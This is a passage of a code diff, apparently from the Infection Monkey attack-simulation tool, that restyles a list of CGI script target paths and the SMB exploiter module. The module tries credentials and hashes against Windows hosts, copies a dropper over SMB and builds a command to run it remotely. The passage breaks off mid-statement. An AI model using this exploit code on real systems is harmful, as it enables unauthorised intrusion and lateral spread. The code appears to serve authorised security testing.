r'/cgi-bin/guestbook.cgi', - r'/cgi-bin/handler', - r'/cgi-bin/handler.cgi', - r'/cgi-bin/handler/netsonar', - r'/cgi-bin/hitview.cgi', - r'/cgi-bin/hsx.cgi', - r'/cgi-bin/html2chtml.cgi', - r'/cgi-bin/html2wml.cgi', - r'/cgi-bin/htsearch.cgi', - r'/cgi-bin/hw.sh', # testing - r'/cgi-bin/icat', - r'/cgi-bin/if/admin/nph-build.cgi', - r'/cgi-bin/ikonboard/help.cgi', - r'/cgi-bin/ImageFolio/admin/admin.cgi', - r'/cgi-bin/imageFolio.cgi', - r'/cgi-bin/index.cgi', - r'/cgi-bin/infosrch.cgi', - r'/cgi-bin/jammail.pl', - r'/cgi-bin/journal.cgi', - r'/cgi-bin/lastlines.cgi', - r'/cgi-bin/loadpage.cgi', - r'/cgi-bin/login.cgi', - r'/cgi-bin/logit.cgi', - r'/cgi-bin/log-reader.cgi', - r'/cgi-bin/lookwho.cgi', - r'/cgi-bin/lwgate.cgi', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/MachineInfo', - r'/cgi-bin/magiccard.cgi', - r'/cgi-bin/mail/emumail.cgi', - r'/cgi-bin/maillist.cgi', - r'/cgi-bin/mailnews.cgi', - r'/cgi-bin/mail/nph-mr.cgi', - r'/cgi-bin/main.cgi', - r'/cgi-bin/main_menu.pl', - r'/cgi-bin/man.sh', - r'/cgi-bin/mini_logger.cgi', - r'/cgi-bin/mmstdod.cgi', - r'/cgi-bin/moin.cgi', - r'/cgi-bin/mojo/mojo.cgi', - r'/cgi-bin/mrtg.cgi', - r'/cgi-bin/mt.cgi', - r'/cgi-bin/mt/mt.cgi', - r'/cgi-bin/mt/mt-check.cgi', - r'/cgi-bin/mt/mt-load.cgi', - r'/cgi-bin/mt-static/mt-check.cgi', - r'/cgi-bin/mt-static/mt-load.cgi', - r'/cgi-bin/musicqueue.cgi', - r'/cgi-bin/myguestbook.cgi', - r'/cgi-bin/.namazu.cgi', - r'/cgi-bin/nbmember.cgi', - r'/cgi-bin/netauth.cgi', - r'/cgi-bin/netpad.cgi', - r'/cgi-bin/newsdesk.cgi', - r'/cgi-bin/nlog-smb.cgi', - r'/cgi-bin/nph-emumail.cgi', - r'/cgi-bin/nph-exploitscanget.cgi', - r'/cgi-bin/nph-publish.cgi', - r'/cgi-bin/nph-test.cgi', - r'/cgi-bin/pagelog.cgi', - r'/cgi-bin/pbcgi.cgi', - r'/cgi-bin/perlshop.cgi', - r'/cgi-bin/pfdispaly.cgi', - r'/cgi-bin/pfdisplay.cgi', - r'/cgi-bin/phf.cgi', - r'/cgi-bin/photo/manage.cgi', - r'/cgi-bin/photo/protected/manage.cgi', - r'/cgi-bin/php-cgi', - r'/cgi-bin/php.cgi', - r'/cgi-bin/php.fcgi', - r'/cgi-bin/ping.sh', - r'/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi', - r'/cgi-bin/pollssi.cgi', - r'/cgi-bin/postcards.cgi', - r'/cgi-bin/powerup/r.cgi', - r'/cgi-bin/printenv', - r'/cgi-bin/probecontrol.cgi', - r'/cgi-bin/profile.cgi', - r'/cgi-bin/publisher/search.cgi', - r'/cgi-bin/quickstore.cgi', - r'/cgi-bin/quizme.cgi', - r'/cgi-bin/ratlog.cgi', - r'/cgi-bin/r.cgi', - r'/cgi-bin/register.cgi', - r'/cgi-bin/replicator/webpage.cgi/', - r'/cgi-bin/responder.cgi', - r'/cgi-bin/robadmin.cgi', - r'/cgi-bin/robpoll.cgi', - r'/cgi-bin/rtpd.cgi', - r'/cgi-bin/sbcgi/sitebuilder.cgi', - r'/cgi-bin/scoadminreg.cgi', - r'/cgi-bin-sdb/printenv', - r'/cgi-bin/sdbsearch.cgi', - r'/cgi-bin/search', - r'/cgi-bin/search.cgi', - r'/cgi-bin/search/search.cgi', - r'/cgi-bin/sendform.cgi', - r'/cgi-bin/shop.cgi', - r'/cgi-bin/shopper.cgi', - r'/cgi-bin/shopplus.cgi', - r'/cgi-bin/showcheckins.cgi', - r'/cgi-bin/simplestguest.cgi', - r'/cgi-bin/simplestmail.cgi', - r'/cgi-bin/smartsearch.cgi', - r'/cgi-bin/smartsearch/smartsearch.cgi', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.bat', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/snorkerz.cmd', - r'/cgi-bin/sojourn.cgi', - r'/cgi-bin/spin_client.cgi', - r'/cgi-bin/start.cgi', - r'/cgi-bin/status', - r'/cgi-bin/status_cgi', - r'/cgi-bin/store/agora.cgi', - r'/cgi-bin/store.cgi', - r'/cgi-bin/store/index.cgi', - r'/cgi-bin/survey.cgi', - r'/cgi-bin/sync.cgi', - r'/cgi-bin/talkback.cgi', - r'/cgi-bin/technote/main.cgi', - r'/cgi-bin/test2.pl', - r'/cgi-bin/test-cgi', - r'/cgi-bin/test.cgi', - r'/cgi-bin/testing_whatever', - r'/cgi-bin/test/test.cgi', - r'/cgi-bin/tidfinder.cgi', - r'/cgi-bin/tigvote.cgi', - r'/cgi-bin/title.cgi', - r'/cgi-bin/top.cgi', - r'/cgi-bin/traffic.cgi', - r'/cgi-bin/troops.cgi', - r'/cgi-bin/ttawebtop.cgi/', - r'/cgi-bin/ultraboard.cgi', - r'/cgi-bin/upload.cgi', - r'/cgi-bin/urlcount.cgi', - r'/cgi-bin/viewcvs.cgi', - r'/cgi-bin/view_help.cgi', - r'/cgi-bin/viralator.cgi', - r'/cgi-bin/virgil.cgi', - r'/cgi-bin/vote.cgi', - r'/cgi-bin/vpasswd.cgi', - r'/cgi-bin/way-board.cgi', - r'/cgi-bin/way-board/way-board.cgi', - r'/cgi-bin/webbbs.cgi', - r'/cgi-bin/webcart/webcart.cgi', - r'/cgi-bin/webdist.cgi', - r'/cgi-bin/webif.cgi', - r'/cgi-bin/webmail/html/emumail.cgi', - r'/cgi-bin/webmap.cgi', - r'/cgi-bin/webspirs.cgi', - r'/cgi-bin/Web_Store/web_store.cgi', - r'/cgi-bin/whois.cgi', - r'/cgi-bin/whois_raw.cgi', - r'/cgi-bin/whois/whois.cgi', - r'/cgi-bin/wrap', - r'/cgi-bin/wrap.cgi', - r'/cgi-bin/wwwboard.cgi.cgi', - r'/cgi-bin/YaBB/YaBB.cgi', - r'/cgi-bin/zml.cgi', - r'/cgi-mod/index.cgi', - r'/cgis/wwwboard/wwwboard.cgi', - r'/cgi-sys/addalink.cgi', - r'/cgi-sys/defaultwebpage.cgi', - r'/cgi-sys/domainredirect.cgi', - r'/cgi-sys/entropybanner.cgi', - r'/cgi-sys/entropysearch.cgi', - r'/cgi-sys/FormMail-clone.cgi', - r'/cgi-sys/helpdesk.cgi', - r'/cgi-sys/mchat.cgi', - r'/cgi-sys/randhtml.cgi', - r'/cgi-sys/realhelpdesk.cgi', - r'/cgi-sys/realsignup.cgi', - r'/cgi-sys/signup.cgi', - r'/connector.cgi', - r'/cp/rac/nsManager.cgi', - r'/create_release.sh', - r'/CSNews.cgi', - r'/csPassword.cgi', - r'/dcadmin.cgi', - r'/dcboard.cgi', - r'/dcforum.cgi', - r'/dcforum/dcforum.cgi', - r'/debuff.cgi', - r'/debug.cgi', - r'/details.cgi', - r'/edittag/edittag.cgi', - r'/emumail.cgi', - r'/enter_buff.cgi', - r'/enter_bug.cgi', - r'/ez2000/ezadmin.cgi', - r'/ez2000/ezboard.cgi', - r'/ez2000/ezman.cgi', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo', - r'/fcgi-bin/echo2', - r'/fcgi-bin/echo2', - r'/Gozila.cgi', - r'/hitmatic/analyse.cgi', - r'/hp_docs/cgi-bin/index.cgi', - r'/html/cgi-bin/cgicso', - r'/html/cgi-bin/cgicso', - r'/index.cgi', - r'/info.cgi', - r'/infosrch.cgi', - r'/login.cgi', - r'/mailview.cgi', - r'/main.cgi', - r'/megabook/admin.cgi', - r'/ministats/admin.cgi', - r'/mods/apage/apage.cgi', - r'/_mt/mt.cgi', - r'/musicqueue.cgi', - r'/ncbook.cgi', - r'/newpro.cgi', - r'/newsletter.sh', - r'/oem_webstage/cgi-bin/oemapp_cgi', - r'/page.cgi', - r'/parse_xml.cgi', - r'/photodata/manage.cgi', - r'/photo/manage.cgi', - r'/print.cgi', - r'/process_buff.cgi', - r'/process_bug.cgi', - r'/pub/english.cgi', - r'/quikmail/nph-emumail.cgi', - r'/quikstore.cgi', - r'/reviews/newpro.cgi', - r'/ROADS/cgi-bin/search.pl', - r'/sample01.cgi', - r'/sample02.cgi', - r'/sample03.cgi', - r'/sample04.cgi', - r'/sampleposteddata.cgi', - r'/scancfg.cgi', - r'/scancfg.cgi', - r'/servers/link.cgi', - r'/setpasswd.cgi', - r'/SetSecurity.shm', - r'/shop/member_html.cgi', - r'/shop/normal_html.cgi', - r'/site_searcher.cgi', - r'/siteUserMod.cgi', - r'/submit.cgi', - r'/technote/print.cgi', - r'/template.cgi', - r'/test.cgi', - r'/ucsm/isSamInstalled.cgi', - r'/upload.cgi', - r'/userreg.cgi', - r'/users/scripts/submit.cgi', - r'/vood/cgi-bin/vood_view.cgi', - r'/Web_Store/web_store.cgi', - r'/webtools/bonsai/ccvsblame.cgi', - r'/webtools/bonsai/cvsblame.cgi', - r'/webtools/bonsai/cvslog.cgi', - r'/webtools/bonsai/cvsquery.cgi', - r'/webtools/bonsai/cvsqueryform.cgi', - r'/webtools/bonsai/showcheckins.cgi', - r'/wwwadmin.cgi', - r'/wwwboard.cgi', - r'/wwwboard/wwwboard.cgi' + r"/", + r"/admin.cgi", + r"/administrator.cgi", + r"/agora.cgi", + r"/aktivate/cgi-bin/catgy.cgi", + r"/analyse.cgi", + r"/apps/web/vs_diag.cgi", + r"/axis-cgi/buffer/command.cgi", + r"/b2-include/b2edit.showposts.php", + r"/bandwidth/index.cgi", + r"/bigconf.cgi", + r"/cartcart.cgi", + r"/cart.cgi", + r"/ccbill/whereami.cgi", + r"/cgi-bin/14all-1.1.cgi", + r"/cgi-bin/14all.cgi", + r"/cgi-bin/a1disp3.cgi", + r"/cgi-bin/a1stats/a1disp3.cgi", + r"/cgi-bin/a1stats/a1disp4.cgi", + r"/cgi-bin/addbanner.cgi", + r"/cgi-bin/add_ftp.cgi", + r"/cgi-bin/adduser.cgi", + r"/cgi-bin/admin/admin.cgi", + r"/cgi-bin/admin.cgi", + r"/cgi-bin/admin/getparam.cgi", + r"/cgi-bin/adminhot.cgi", + r"/cgi-bin/admin.pl", + r"/cgi-bin/admin/setup.cgi", + r"/cgi-bin/adminwww.cgi", + r"/cgi-bin/af.cgi", + r"/cgi-bin/aglimpse.cgi", + r"/cgi-bin/alienform.cgi", + r"/cgi-bin/AnyBoard.cgi", + r"/cgi-bin/architext_query.cgi", + r"/cgi-bin/astrocam.cgi", + r"/cgi-bin/AT-admin.cgi", + r"/cgi-bin/AT-generate.cgi", + r"/cgi-bin/auction/auction.cgi", + r"/cgi-bin/auktion.cgi", + r"/cgi-bin/ax-admin.cgi", + r"/cgi-bin/ax.cgi", + r"/cgi-bin/axs.cgi", + r"/cgi-bin/badmin.cgi", + r"/cgi-bin/banner.cgi", + r"/cgi-bin/bannereditor.cgi", + r"/cgi-bin/bb-ack.sh", + r"/cgi-bin/bb-histlog.sh", + r"/cgi-bin/bb-hist.sh", + r"/cgi-bin/bb-hostsvc.sh", + r"/cgi-bin/bb-replog.sh", + r"/cgi-bin/bb-rep.sh", + r"/cgi-bin/bbs_forum.cgi", + r"/cgi-bin/bigconf.cgi", + r"/cgi-bin/bizdb1-search.cgi", + r"/cgi-bin/blog/mt-check.cgi", + r"/cgi-bin/blog/mt-load.cgi", + r"/cgi-bin/bnbform.cgi", + r"/cgi-bin/book.cgi", + r"/cgi-bin/boozt/admin/index.cgi", + r"/cgi-bin/bsguest.cgi", + r"/cgi-bin/bslist.cgi", + r"/cgi-bin/build.cgi", + r"/cgi-bin/bulk/bulk.cgi", + r"/cgi-bin/cached_feed.cgi", + r"/cgi-bin/cachemgr.cgi", + r"/cgi-bin/calendar/index.cgi", + r"/cgi-bin/cartmanager.cgi", + r"/cgi-bin/cbmc/forums.cgi", + r"/cgi-bin/ccvsblame.cgi", + r"/cgi-bin/c_download.cgi", + r"/cgi-bin/cgforum.cgi", + r"/cgi-bin/.cgi", + r"/cgi-bin/cgi_process", + r"/cgi-bin/classified.cgi", + r"/cgi-bin/classifieds.cgi", + r"/cgi-bin/classifieds/classifieds.cgi", + r"/cgi-bin/classifieds/index.cgi", + r"/cgi-bin/.cobalt/alert/service.cgi", + r"/cgi-bin/.cobalt/message/message.cgi", + r"/cgi-bin/.cobalt/siteUserMod/siteUserMod.cgi", + r"/cgi-bin/commandit.cgi", + r"/cgi-bin/commerce.cgi", + r"/cgi-bin/common/listrec.pl", + r"/cgi-bin/compatible.cgi", + r"/cgi-bin/Count.cgi", + r"/cgi-bin/csChatRBox.cgi", + r"/cgi-bin/csGuestBook.cgi", + r"/cgi-bin/csLiveSupport.cgi", + r"/cgi-bin/CSMailto.cgi", + r"/cgi-bin/CSMailto/CSMailto.cgi", + r"/cgi-bin/csNews.cgi", + r"/cgi-bin/csNewsPro.cgi", + r"/cgi-bin/csPassword.cgi", + r"/cgi-bin/csPassword/csPassword.cgi", + r"/cgi-bin/csSearch.cgi", + r"/cgi-bin/csv_db.cgi", + r"/cgi-bin/cvsblame.cgi", + r"/cgi-bin/cvslog.cgi", + r"/cgi-bin/cvsquery.cgi", + r"/cgi-bin/cvsqueryform.cgi", + r"/cgi-bin/day5datacopier.cgi", + r"/cgi-bin/day5datanotifier.cgi", + r"/cgi-bin/db_manager.cgi", + r"/cgi-bin/dbman/db.cgi", + r"/cgi-bin/dcforum.cgi", + r"/cgi-bin/dcshop.cgi", + r"/cgi-bin/dfire.cgi", + r"/cgi-bin/diagnose.cgi", + r"/cgi-bin/dig.cgi", + r"/cgi-bin/directorypro.cgi", + r"/cgi-bin/download.cgi", + r"/cgi-bin/e87_Ba79yo87.cgi", + r"/cgi-bin/emu/html/emumail.cgi", + r"/cgi-bin/emumail.cgi", + r"/cgi-bin/emumail/emumail.cgi", + r"/cgi-bin/enter.cgi", + r"/cgi-bin/environ.cgi", + r"/cgi-bin/ezadmin.cgi", + r"/cgi-bin/ezboard.cgi", + r"/cgi-bin/ezman.cgi", + r"/cgi-bin/ezshopper2/loadpage.cgi", + r"/cgi-bin/ezshopper3/loadpage.cgi", + r"/cgi-bin/ezshopper/loadpage.cgi", + r"/cgi-bin/ezshopper/search.cgi", + r"/cgi-bin/faqmanager.cgi", + r"/cgi-bin/FileSeek2.cgi", + r"/cgi-bin/FileSeek.cgi", + r"/cgi-bin/finger.cgi", + r"/cgi-bin/flexform.cgi", + r"/cgi-bin/fom.cgi", + r"/cgi-bin/fom/fom.cgi", + r"/cgi-bin/FormHandler.cgi", + r"/cgi-bin/FormMail.cgi", + r"/cgi-bin/gbadmin.cgi", + r"/cgi-bin/gbook/gbook.cgi", + r"/cgi-bin/generate.cgi", + r"/cgi-bin/getdoc.cgi", + r"/cgi-bin/gH.cgi", + r"/cgi-bin/gm-authors.cgi", + r"/cgi-bin/gm.cgi", + r"/cgi-bin/gm-cplog.cgi", + r"/cgi-bin/guestbook.cgi", + r"/cgi-bin/handler", + r"/cgi-bin/handler.cgi", + r"/cgi-bin/handler/netsonar", + r"/cgi-bin/hitview.cgi", + r"/cgi-bin/hsx.cgi", + r"/cgi-bin/html2chtml.cgi", + r"/cgi-bin/html2wml.cgi", + r"/cgi-bin/htsearch.cgi", + r"/cgi-bin/hw.sh", # testing + r"/cgi-bin/icat", + r"/cgi-bin/if/admin/nph-build.cgi", + r"/cgi-bin/ikonboard/help.cgi", + r"/cgi-bin/ImageFolio/admin/admin.cgi", + r"/cgi-bin/imageFolio.cgi", + r"/cgi-bin/index.cgi", + r"/cgi-bin/infosrch.cgi", + r"/cgi-bin/jammail.pl", + r"/cgi-bin/journal.cgi", + r"/cgi-bin/lastlines.cgi", + r"/cgi-bin/loadpage.cgi", + r"/cgi-bin/login.cgi", + r"/cgi-bin/logit.cgi", + r"/cgi-bin/log-reader.cgi", + r"/cgi-bin/lookwho.cgi", + r"/cgi-bin/lwgate.cgi", + r"/cgi-bin/MachineInfo", + r"/cgi-bin/MachineInfo", + r"/cgi-bin/magiccard.cgi", + r"/cgi-bin/mail/emumail.cgi", + r"/cgi-bin/maillist.cgi", + r"/cgi-bin/mailnews.cgi", + r"/cgi-bin/mail/nph-mr.cgi", + r"/cgi-bin/main.cgi", + r"/cgi-bin/main_menu.pl", + r"/cgi-bin/man.sh", + r"/cgi-bin/mini_logger.cgi", + r"/cgi-bin/mmstdod.cgi", + r"/cgi-bin/moin.cgi", + r"/cgi-bin/mojo/mojo.cgi", + r"/cgi-bin/mrtg.cgi", + r"/cgi-bin/mt.cgi", + r"/cgi-bin/mt/mt.cgi", + r"/cgi-bin/mt/mt-check.cgi", + r"/cgi-bin/mt/mt-load.cgi", + r"/cgi-bin/mt-static/mt-check.cgi", + r"/cgi-bin/mt-static/mt-load.cgi", + r"/cgi-bin/musicqueue.cgi", + r"/cgi-bin/myguestbook.cgi", + r"/cgi-bin/.namazu.cgi", + r"/cgi-bin/nbmember.cgi", + r"/cgi-bin/netauth.cgi", + r"/cgi-bin/netpad.cgi", + r"/cgi-bin/newsdesk.cgi", + r"/cgi-bin/nlog-smb.cgi", + r"/cgi-bin/nph-emumail.cgi", + r"/cgi-bin/nph-exploitscanget.cgi", + r"/cgi-bin/nph-publish.cgi", + r"/cgi-bin/nph-test.cgi", + r"/cgi-bin/pagelog.cgi", + r"/cgi-bin/pbcgi.cgi", + r"/cgi-bin/perlshop.cgi", + r"/cgi-bin/pfdispaly.cgi", + r"/cgi-bin/pfdisplay.cgi", + r"/cgi-bin/phf.cgi", + r"/cgi-bin/photo/manage.cgi", + r"/cgi-bin/photo/protected/manage.cgi", + r"/cgi-bin/php-cgi", + r"/cgi-bin/php.cgi", + r"/cgi-bin/php.fcgi", + r"/cgi-bin/ping.sh", + r"/cgi-bin/pollit/Poll_It_SSI_v2.0.cgi", + r"/cgi-bin/pollssi.cgi", + r"/cgi-bin/postcards.cgi", + r"/cgi-bin/powerup/r.cgi", + r"/cgi-bin/printenv", + r"/cgi-bin/probecontrol.cgi", + r"/cgi-bin/profile.cgi", + r"/cgi-bin/publisher/search.cgi", + r"/cgi-bin/quickstore.cgi", + r"/cgi-bin/quizme.cgi", + r"/cgi-bin/ratlog.cgi", + r"/cgi-bin/r.cgi", + r"/cgi-bin/register.cgi", + r"/cgi-bin/replicator/webpage.cgi/", + r"/cgi-bin/responder.cgi", + r"/cgi-bin/robadmin.cgi", + r"/cgi-bin/robpoll.cgi", + r"/cgi-bin/rtpd.cgi", + r"/cgi-bin/sbcgi/sitebuilder.cgi", + r"/cgi-bin/scoadminreg.cgi", + r"/cgi-bin-sdb/printenv", + r"/cgi-bin/sdbsearch.cgi", + r"/cgi-bin/search", + r"/cgi-bin/search.cgi", + r"/cgi-bin/search/search.cgi", + r"/cgi-bin/sendform.cgi", + r"/cgi-bin/shop.cgi", + r"/cgi-bin/shopper.cgi", + r"/cgi-bin/shopplus.cgi", + r"/cgi-bin/showcheckins.cgi", + r"/cgi-bin/simplestguest.cgi", + r"/cgi-bin/simplestmail.cgi", + r"/cgi-bin/smartsearch.cgi", + r"/cgi-bin/smartsearch/smartsearch.cgi", + r"/cgi-bin/snorkerz.bat", + r"/cgi-bin/snorkerz.bat", + r"/cgi-bin/snorkerz.cmd", + r"/cgi-bin/snorkerz.cmd", + r"/cgi-bin/sojourn.cgi", + r"/cgi-bin/spin_client.cgi", + r"/cgi-bin/start.cgi", + r"/cgi-bin/status", + r"/cgi-bin/status_cgi", + r"/cgi-bin/store/agora.cgi", + r"/cgi-bin/store.cgi", + r"/cgi-bin/store/index.cgi", + r"/cgi-bin/survey.cgi", + r"/cgi-bin/sync.cgi", + r"/cgi-bin/talkback.cgi", + r"/cgi-bin/technote/main.cgi", + r"/cgi-bin/test2.pl", + r"/cgi-bin/test-cgi", + r"/cgi-bin/test.cgi", + r"/cgi-bin/testing_whatever", + r"/cgi-bin/test/test.cgi", + r"/cgi-bin/tidfinder.cgi", + r"/cgi-bin/tigvote.cgi", + r"/cgi-bin/title.cgi", + r"/cgi-bin/top.cgi", + r"/cgi-bin/traffic.cgi", + r"/cgi-bin/troops.cgi", + r"/cgi-bin/ttawebtop.cgi/", + r"/cgi-bin/ultraboard.cgi", + r"/cgi-bin/upload.cgi", + r"/cgi-bin/urlcount.cgi", + r"/cgi-bin/viewcvs.cgi", + r"/cgi-bin/view_help.cgi", + r"/cgi-bin/viralator.cgi", + r"/cgi-bin/virgil.cgi", + r"/cgi-bin/vote.cgi", + r"/cgi-bin/vpasswd.cgi", + r"/cgi-bin/way-board.cgi", + r"/cgi-bin/way-board/way-board.cgi", + r"/cgi-bin/webbbs.cgi", + r"/cgi-bin/webcart/webcart.cgi", + r"/cgi-bin/webdist.cgi", + r"/cgi-bin/webif.cgi", + r"/cgi-bin/webmail/html/emumail.cgi", + r"/cgi-bin/webmap.cgi", + r"/cgi-bin/webspirs.cgi", + r"/cgi-bin/Web_Store/web_store.cgi", + r"/cgi-bin/whois.cgi", + r"/cgi-bin/whois_raw.cgi", + r"/cgi-bin/whois/whois.cgi", + r"/cgi-bin/wrap", + r"/cgi-bin/wrap.cgi", + r"/cgi-bin/wwwboard.cgi.cgi", + r"/cgi-bin/YaBB/YaBB.cgi", + r"/cgi-bin/zml.cgi", + r"/cgi-mod/index.cgi", + r"/cgis/wwwboard/wwwboard.cgi", + r"/cgi-sys/addalink.cgi", + r"/cgi-sys/defaultwebpage.cgi", + r"/cgi-sys/domainredirect.cgi", + r"/cgi-sys/entropybanner.cgi", + r"/cgi-sys/entropysearch.cgi", + r"/cgi-sys/FormMail-clone.cgi", + r"/cgi-sys/helpdesk.cgi", + r"/cgi-sys/mchat.cgi", + r"/cgi-sys/randhtml.cgi", + r"/cgi-sys/realhelpdesk.cgi", + r"/cgi-sys/realsignup.cgi", + r"/cgi-sys/signup.cgi", + r"/connector.cgi", + r"/cp/rac/nsManager.cgi", + r"/create_release.sh", + r"/CSNews.cgi", + r"/csPassword.cgi", + r"/dcadmin.cgi", + r"/dcboard.cgi", + r"/dcforum.cgi", + r"/dcforum/dcforum.cgi", + r"/debuff.cgi", + r"/debug.cgi", + r"/details.cgi", + r"/edittag/edittag.cgi", + r"/emumail.cgi", + r"/enter_buff.cgi", + r"/enter_bug.cgi", + r"/ez2000/ezadmin.cgi", + r"/ez2000/ezboard.cgi", + r"/ez2000/ezman.cgi", + r"/fcgi-bin/echo", + r"/fcgi-bin/echo", + r"/fcgi-bin/echo2", + r"/fcgi-bin/echo2", + r"/Gozila.cgi", + r"/hitmatic/analyse.cgi", + r"/hp_docs/cgi-bin/index.cgi", + r"/html/cgi-bin/cgicso", + r"/html/cgi-bin/cgicso", + r"/index.cgi", + r"/info.cgi", + r"/infosrch.cgi", + r"/login.cgi", + r"/mailview.cgi", + r"/main.cgi", + r"/megabook/admin.cgi", + r"/ministats/admin.cgi", + r"/mods/apage/apage.cgi", + r"/_mt/mt.cgi", + r"/musicqueue.cgi", + r"/ncbook.cgi", + r"/newpro.cgi", + r"/newsletter.sh", + r"/oem_webstage/cgi-bin/oemapp_cgi", + r"/page.cgi", + r"/parse_xml.cgi", + r"/photodata/manage.cgi", + r"/photo/manage.cgi", + r"/print.cgi", + r"/process_buff.cgi", + r"/process_bug.cgi", + r"/pub/english.cgi", + r"/quikmail/nph-emumail.cgi", + r"/quikstore.cgi", + r"/reviews/newpro.cgi", + r"/ROADS/cgi-bin/search.pl", + r"/sample01.cgi", + r"/sample02.cgi", + r"/sample03.cgi", + r"/sample04.cgi", + r"/sampleposteddata.cgi", + r"/scancfg.cgi", + r"/scancfg.cgi", + r"/servers/link.cgi", + r"/setpasswd.cgi", + r"/SetSecurity.shm", + r"/shop/member_html.cgi", + r"/shop/normal_html.cgi", + r"/site_searcher.cgi", + r"/siteUserMod.cgi", + r"/submit.cgi", + r"/technote/print.cgi", + r"/template.cgi", + r"/test.cgi", + r"/ucsm/isSamInstalled.cgi", + r"/upload.cgi", + r"/userreg.cgi", + r"/users/scripts/submit.cgi", + r"/vood/cgi-bin/vood_view.cgi", + r"/Web_Store/web_store.cgi", + r"/webtools/bonsai/ccvsblame.cgi", + r"/webtools/bonsai/cvsblame.cgi", + r"/webtools/bonsai/cvslog.cgi", + r"/webtools/bonsai/cvsquery.cgi", + r"/webtools/bonsai/cvsqueryform.cgi", + r"/webtools/bonsai/showcheckins.cgi", + r"/wwwadmin.cgi", + r"/wwwboard.cgi", + r"/wwwboard/wwwboard.cgi", ) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index a9776136b..189bc51ad 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -5,23 +5,24 @@ from impacket.dcerpc.v5 import scmr, transport from common.utils.attack_utils import ScanStatus, UsageEnum from common.utils.exploit_enum import ExploitType from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools -from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS, VictimHost +from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.commands import build_monkey_commandline LOG = getLogger(__name__) class SmbExploiter(HostExploiter): - _TARGET_OS_TYPE = ['windows'] + _TARGET_OS_TYPE = ["windows"] EXPLOIT_TYPE = ExploitType.BRUTE_FORCE - _EXPLOITED_SERVICE = 'SMB' + _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { - '139/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 139), - '445/SMB': (r'ncacn_np:%s[\pipe\svcctl]', 445), + "139/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 139), + "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False @@ -33,7 +34,7 @@ class SmbExploiter(HostExploiter): if super(SmbExploiter, self).is_os_supported(): return True - if not self.host.os.get('type'): + if not self.host.os.get("type"): is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) if is_smb_open: smb_finger = SMBFinger() @@ -41,8 +42,8 @@ class SmbExploiter(HostExploiter): else: is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) if is_nb_open: - self.host.os['type'] = 'windows' - return self.host.os.get('type') in self._TARGET_OS_TYPE + self.host.os["type"] = "windows" + return self.host.os.get("type") in self._TARGET_OS_TYPE return False def _exploit_host(self): @@ -58,25 +59,35 @@ class SmbExploiter(HostExploiter): for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB - remote_full_path = SmbTools.copy_file(self.host, - src_path, - self._config.dropper_target_path_win_32, - user, - password, - lm_hash, - ntlm_hash, - self._config.smb_download_timeout) + remote_full_path = SmbTools.copy_file( + self.host, + src_path, + self._config.dropper_target_path_win_32, + user, + password, + lm_hash, + ntlm_hash, + self._config.smb_download_timeout, + ) if remote_full_path is not None: - LOG.debug("Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) %s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash)) + LOG.debug( + "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " + "%s : (SHA-512) %s)", + self.host, + user, + self._config.hash_sensitive_data(password), + self._config.hash_sensitive_data(lm_hash), + self._config.hash_sensitive_data(ntlm_hash), + ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) - self.add_vuln_port("%s or %s" % (SmbExploiter.KNOWN_PROTOCOLS['139/SMB'][1], - SmbExploiter.KNOWN_PROTOCOLS['445/SMB'][1])) + self.add_vuln_port( + "%s or %s" + % ( + SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + ) + ) exploited = True break else: @@ -86,13 +97,15 @@ class SmbExploiter(HostExploiter): except Exception as exc: LOG.debug( "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: (%s)", + " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" + "SHA-512): %s: (%s)", self.host, user, self._config.hash_sensitive_data(password), self._config.hash_sensitive_data(lm_hash), self._config.hash_sensitive_data(ntlm_hash), - exc) + exc, + ) continue if not exploited: @@ -102,24 +115,29 @@ class SmbExploiter(HostExploiter): self.set_vulnerable_port() # execute the remote dropper in case the path isn't final if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): - cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \ - build_monkey_commandline(self.host, get_monkey_depth() - 1, - self.vulnerable_port, - self._config.dropper_target_path_win_32) + cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { + "dropper_path": remote_full_path + } + build_monkey_commandline( + self.host, + get_monkey_depth() - 1, + self.vulnerable_port, + self._config.dropper_target_path_win_32, + ) else: - cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \ - build_monkey_commandline(self.host, - 